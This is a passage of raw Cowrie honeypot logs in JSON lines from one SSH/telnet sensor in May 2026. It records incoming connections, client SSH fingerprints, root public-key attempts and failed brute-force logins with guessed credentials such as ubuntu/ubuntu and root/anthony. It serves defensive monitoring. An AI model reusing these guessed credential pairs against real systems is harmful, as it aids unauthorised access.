v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:09:16.494420Z","src_ip":"80.94.92.171","session":"5303def38b4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:09:17.395447Z","src_ip":"80.94.92.171","session":"5303def38b4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:09:18.652525Z","src_ip":"80.94.92.171","session":"5303def38b4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.55.211.4","src_port":47256,"dst_ip":"10.17.0.5","dst_port":22,"session":"e91ade5253a6","protocol":"ssh","message":"New connection: 46.55.211.4:47256 (10.17.0.5:22) [session: e91ade5253a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:09:28.784183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:09:28.789207Z","src_ip":"46.55.211.4","session":"e91ade5253a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:09:28.917136Z","src_ip":"46.55.211.4","session":"e91ade5253a6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"50:a2:1f:53:a4:37:c5:ec:c5:b6:7e:ff:54:b8:5d:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2CX3kztCljcvPrODad56W5/vF3lUDHbIBEVFdhd2HKEULG/YfP1vp/o78C+YjDdz1yW0tfrImrABx0McMLLUCLRH5Wu07tXXHk/bD3mxnQwcUhyL6bQfC4kivMZ0v2iwcM9jhBpWFp4xuxWaewdUuaYTIfr6ZbU96o/ItcMBfvir7tlkSdBXuDl8QNDs8fL4WdEkUTXmjdCetrcKnQrGK+7cKno/Zy24fPrxtbHBmuKJMjQoW/rJ7qVXjrWIkMfW+ovj6Uln23KnRi2y5mV1K+T+c7CWS66JpyLaAVzbHeDyvKuN/1r19L2UseyjTph3KB7F+c4F/YNorsd1DmPXR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 50:a2:1f:53:a4:37:c5:ec:c5:b6:7e:ff:54:b8:5d:e5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:09:29.514690Z","src_ip":"46.55.211.4","session":"e91ade5253a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"50:a2:1f:53:a4:37:c5:ec:c5:b6:7e:ff:54:b8:5d:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2CX3kztCljcvPrODad56W5/vF3lUDHbIBEVFdhd2HKEULG/YfP1vp/o78C+YjDdz1yW0tfrImrABx0McMLLUCLRH5Wu07tXXHk/bD3mxnQwcUhyL6bQfC4kivMZ0v2iwcM9jhBpWFp4xuxWaewdUuaYTIfr6ZbU96o/ItcMBfvir7tlkSdBXuDl8QNDs8fL4WdEkUTXmjdCetrcKnQrGK+7cKno/Zy24fPrxtbHBmuKJMjQoW/rJ7qVXjrWIkMfW+ovj6Uln23KnRi2y5mV1K+T+c7CWS66JpyLaAVzbHeDyvKuN/1r19L2UseyjTph3KB7F+c4F/YNorsd1DmPXR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:09:29.518598Z","src_ip":"46.55.211.4","session":"e91ade5253a6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6d:62:ca:e9:98:47:a4:94:ac:69:a3:c1:5b:1e:b2:2a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDsRPvZlGzpCGXEZPh80756z0dwYvmqMBdm7aQYspIpLfqYemz7Dsf5QyWeGvgpnIMjJaf1cFPYuMcxCxgBHZ25MQD4VOXQxaMA10QZEwIOCJUG4a+7O5EkZYtmtQVFGneKrpJaeyaV+6bAYIEibIsQZdPR1xJdpQjclnZkTqRg+gPrSYU/SMV7F0a7DiFkpG3aBrdpTtt2DqfoyWY+TtOFo7IW9Mu2lYlyLNxpGXrGnlPVf/6E4Wd7Bt51oYD2n7Ba91nhy1kIlLUKwzx8MmKh/jq7CmW1zZPv6zNUbUsuk860j5tptMICNOf2oXMMOjSNoX84BKGfH/JqL4tK52Nj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6d:62:ca:e9:98:47:a4:94:ac:69:a3:c1:5b:1e:b2:2a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:09:29.643334Z","src_ip":"46.55.211.4","session":"e91ade5253a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6d:62:ca:e9:98:47:a4:94:ac:69:a3:c1:5b:1e:b2:2a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDsRPvZlGzpCGXEZPh80756z0dwYvmqMBdm7aQYspIpLfqYemz7Dsf5QyWeGvgpnIMjJaf1cFPYuMcxCxgBHZ25MQD4VOXQxaMA10QZEwIOCJUG4a+7O5EkZYtmtQVFGneKrpJaeyaV+6bAYIEibIsQZdPR1xJdpQjclnZkTqRg+gPrSYU/SMV7F0a7DiFkpG3aBrdpTtt2DqfoyWY+TtOFo7IW9Mu2lYlyLNxpGXrGnlPVf/6E4Wd7Bt51oYD2n7Ba91nhy1kIlLUKwzx8MmKh/jq7CmW1zZPv6zNUbUsuk860j5tptMICNOf2oXMMOjSNoX84BKGfH/JqL4tK52Nj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:09:29.646930Z","src_ip":"46.55.211.4","session":"e91ade5253a6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a4:7e:66:3b:79:d2:35:fd:5d:de:b5:70:89:b0:38:45","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDBqiUqW8c06trCxGuTufF1uwH2JIPDLCHJ5J6ID1JdQLtpIZD5/AO1q45ndU8ETn+TFcTBpKRKtgaOCQmYsETQHxaKMMDa1qz/xc+2KRUZcnubeZQ/NE04wDEoH/Y/YdPMcg7mivftlbYCkzinERhrC1H5F5MbtepdkWCagEzl3w+G+ltDop6hEz9MXM1ZcAag8q0ztGyQoCAbpYz1eJCeuyGehaEHcTVYtHDTsMGDEF8PsdvYBihPWBHzMBEjMCesseoMP7MU99IMRWKJehe3Oos4Wl5hX6AGaUBFb2g89vWGTDDdMXN++EYBh3U9gPjBrjDq9oletoeBzHQSju8S8MfWCBP6ZqjOSFT1rS3thHr9wOR+vNuEUNAhMSG/46+uRMij3arGuNbyF52nr8EpyrEU9d2jSuduisz/e9VWSoXymJSjlL44uVXOOC4v3CClvkjOye0WicOSGCs32h25Hwg7Z/osCmTYGuKqR6I/6Oyfim1xHIqGIr5/zfAHFYYwr1aoBUloLPdyQNU5MMQdr+VgBO0QW5iMFj5G2IPkFIFKy3zqvoHToNmmWJPsz2EfQVcRuP3FQl4bT/J+xi61mCvwGmvMFnLWGmxBAm1nNRCCVXSJZExRar6SD7mITmID2UE0GfH6LVD4DX3vsLzm/Dp+QihskkRj8jiTMZncqQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a4:7e:66:3b:79:d2:35:fd:5d:de:b5:70:89:b0:38:45","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:09:29.774107Z","src_ip":"46.55.211.4","session":"e91ade5253a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a4:7e:66:3b:79:d2:35:fd:5d:de:b5:70:89:b0:38:45","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDBqiUqW8c06trCxGuTufF1uwH2JIPDLCHJ5J6ID1JdQLtpIZD5/AO1q45ndU8ETn+TFcTBpKRKtgaOCQmYsETQHxaKMMDa1qz/xc+2KRUZcnubeZQ/NE04wDEoH/Y/YdPMcg7mivftlbYCkzinERhrC1H5F5MbtepdkWCagEzl3w+G+ltDop6hEz9MXM1ZcAag8q0ztGyQoCAbpYz1eJCeuyGehaEHcTVYtHDTsMGDEF8PsdvYBihPWBHzMBEjMCesseoMP7MU99IMRWKJehe3Oos4Wl5hX6AGaUBFb2g89vWGTDDdMXN++EYBh3U9gPjBrjDq9oletoeBzHQSju8S8MfWCBP6ZqjOSFT1rS3thHr9wOR+vNuEUNAhMSG/46+uRMij3arGuNbyF52nr8EpyrEU9d2jSuduisz/e9VWSoXymJSjlL44uVXOOC4v3CClvkjOye0WicOSGCs32h25Hwg7Z/osCmTYGuKqR6I/6Oyfim1xHIqGIr5/zfAHFYYwr1aoBUloLPdyQNU5MMQdr+VgBO0QW5iMFj5G2IPkFIFKy3zqvoHToNmmWJPsz2EfQVcRuP3FQl4bT/J+xi61mCvwGmvMFnLWGmxBAm1nNRCCVXSJZExRar6SD7mITmID2UE0GfH6LVD4DX3vsLzm/Dp+QihskkRj8jiTMZncqQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:09:29.778365Z","src_ip":"46.55.211.4","session":"e91ade5253a6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"89:5c:1e:71:61:80:b3:41:cf:7c:4a:c7:6d:df:72:c6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxcvKIM1ev+JCpLckvKKKFe9GU+FXjKG/FimAKHN505wmglPlQ2WQFr6RQYh+yBzfNVr/pR4By0/JfKADCZ5CGOFoJuBKFG49zTR+WgiH8cuVIEQcly21N0QQAjUrnHhDvc3CQHISinFti2sMnjpxlkkJxSyuT1PcYpw2shwEKO1+MueIyn0NaB0hs/31kOIxBjfEW7j4Pepx6Abh1lFqpPQI5Is5PB7ljU3Ljw/KnZGKDG6bySsPXsXFLWgcKG8PkOTjEFwEkqEoB6VwBCUhGdUmn+VhijVMzC1XYonDN8K67nafDAvABkEpgXmH9IRsIBYptnDEZQHU6JWg8xpl3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 89:5c:1e:71:61:80:b3:41:cf:7c:4a:c7:6d:df:72:c6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:09:29.941302Z","src_ip":"46.55.211.4","session":"e91ade5253a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"89:5c:1e:71:61:80:b3:41:cf:7c:4a:c7:6d:df:72:c6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxcvKIM1ev+JCpLckvKKKFe9GU+FXjKG/FimAKHN505wmglPlQ2WQFr6RQYh+yBzfNVr/pR4By0/JfKADCZ5CGOFoJuBKFG49zTR+WgiH8cuVIEQcly21N0QQAjUrnHhDvc3CQHISinFti2sMnjpxlkkJxSyuT1PcYpw2shwEKO1+MueIyn0NaB0hs/31kOIxBjfEW7j4Pepx6Abh1lFqpPQI5Is5PB7ljU3Ljw/KnZGKDG6bySsPXsXFLWgcKG8PkOTjEFwEkqEoB6VwBCUhGdUmn+VhijVMzC1XYonDN8K67nafDAvABkEpgXmH9IRsIBYptnDEZQHU6JWg8xpl3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:09:29.946449Z","src_ip":"46.55.211.4","session":"e91ade5253a6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"35:93:fe:33:b6:84:89:f9:78:f5:2a:2f:bc:b7:0d:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCWRvYY4J5/6tMXzshtPWPfgRdUsF0pxlV+O+NJhqlkHu+a/RSFa9DJlkH7Z91GbNKdtP7emh+5zvXasGcOPF6GH8ziAf/5EmH/iE1DJWq7BbB3p/czJUMvyd0qa5lHjxgGKrAe9yUZuM/ZOJEu4NQltxOK4Us49FyzUWRo1DJrVHGMtDPbAlZTfKZZ2UBhTBR4XIh6oOe9sQSUHFvUwURJoqAG7v2eL9QD6bKyO9eYw94Lnm3qzkbXNCrs7EzYRkF8MBXJiQz9mWjlfx4QpMN3bpG8kDl6Q/EYCVbA4OqwN0xCkQcwSAYzMcDcKnk5i8BPbEJmihTnEMIt11+JS4BB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 35:93:fe:33:b6:84:89:f9:78:f5:2a:2f:bc:b7:0d:89","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:09:30.071076Z","src_ip":"46.55.211.4","session":"e91ade5253a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"35:93:fe:33:b6:84:89:f9:78:f5:2a:2f:bc:b7:0d:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCWRvYY4J5/6tMXzshtPWPfgRdUsF0pxlV+O+NJhqlkHu+a/RSFa9DJlkH7Z91GbNKdtP7emh+5zvXasGcOPF6GH8ziAf/5EmH/iE1DJWq7BbB3p/czJUMvyd0qa5lHjxgGKrAe9yUZuM/ZOJEu4NQltxOK4Us49FyzUWRo1DJrVHGMtDPbAlZTfKZZ2UBhTBR4XIh6oOe9sQSUHFvUwURJoqAG7v2eL9QD6bKyO9eYw94Lnm3qzkbXNCrs7EzYRkF8MBXJiQz9mWjlfx4QpMN3bpG8kDl6Q/EYCVbA4OqwN0xCkQcwSAYzMcDcKnk5i8BPbEJmihTnEMIt11+JS4BB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:09:30.078977Z","src_ip":"46.55.211.4","session":"e91ade5253a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:09:30.214507Z","src_ip":"46.55.211.4","session":"e91ade5253a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.243.29.180","src_port":45874,"dst_ip":"10.17.0.5","dst_port":23,"session":"168968746c85","protocol":"telnet","message":"New connection: 89.243.29.180:45874 (10.17.0.5:23) [session: 168968746c85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:09:46.027374Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":48734,"dst_ip":"10.17.0.5","dst_port":23,"session":"90d9386302ea","protocol":"telnet","message":"New connection: 167.71.238.254:48734 (10.17.0.5:23) [session: 90d9386302ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:09:46.813167Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.172.177","src_port":44712,"dst_ip":"10.17.0.5","dst_port":22,"session":"15c01bf9db90","protocol":"ssh","message":"New connection: 152.32.172.177:44712 (10.17.0.5:22) [session: 15c01bf9db90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:09:47.780274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:09:47.785327Z","src_ip":"152.32.172.177","session":"15c01bf9db90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:09:48.002823Z","src_ip":"152.32.172.177","session":"15c01bf9db90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhxnephu","password":"zXXUKpvydMqzp1quBItn","message":"login attempt [zhxnephu/zXXUKpvydMqzp1quBItn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:09:48.904194Z","src_ip":"152.32.172.177","session":"15c01bf9db90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.212.86","src_port":38832,"dst_ip":"10.17.0.5","dst_port":22,"session":"740aa4290086","protocol":"ssh","message":"New connection: 43.156.212.86:38832 (10.17.0.5:22) [session: 740aa4290086]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:09:49.973866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:09:49.977630Z","src_ip":"43.156.212.86","session":"740aa4290086","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:09:50.129032Z","src_ip":"152.32.172.177","session":"15c01bf9db90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:09:50.223720Z","src_ip":"43.156.212.86","session":"740aa4290086","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.243.29.180","src_port":56196,"dst_ip":"10.17.0.5","dst_port":23,"session":"931e4a6e9397","protocol":"telnet","message":"New connection: 89.243.29.180:56196 (10.17.0.5:23) [session: 931e4a6e9397]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:09:50.520639Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"anthony","message":"login attempt [root/anthony] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:09:51.237608Z","src_ip":"43.156.212.86","session":"740aa4290086","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:09:52.486787Z","src_ip":"43.156.212.86","session":"740aa4290086","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0017409324646,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:10:00.824690Z","src_ip":"43.224.126.107","session":"13146733fa4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.842174530029297,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:10:04.655229Z","src_ip":"167.71.238.254","session":"90d9386302ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":58923,"dst_ip":"10.17.0.5","dst_port":22,"session":"6565af1a8606","protocol":"ssh","message":"New connection: 213.209.159.56:58923 (10.17.0.5:22) [session: 6565af1a8606]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:10:04.664857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:10:04.676548Z","src_ip":"213.209.159.56","session":"6565af1a8606","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 